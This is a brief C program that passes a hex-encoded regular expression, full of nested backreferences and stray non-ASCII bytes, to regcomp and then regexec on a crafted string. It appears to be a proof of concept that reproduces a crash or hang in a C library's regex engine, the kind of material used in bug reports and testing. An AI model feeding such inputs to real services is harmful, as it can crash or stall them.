#include <sys/types.h>
#include <regex.h>

int main() {

   regex_t regtmp;

if(regcomp 
(&regtmp,"\x28\x2E\x3F\x3F\x28\x2E\x3F\x29\x5C\x42\x44\x3F\x3F\x28\x2E\x5C\x32\x29\x2A\x5C\x32\x28\x2E\x3F\x29\x5C\x32\x29\x2A\x5C\x32\xBD",
 REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
        {               
                regmatch_t pmatch[1];
                regexec(&regtmp, "\x72\xFF\xFF\xFF\xFF\xBD",1, pmatch, 0);
                regfree(&regtmp);
        }

}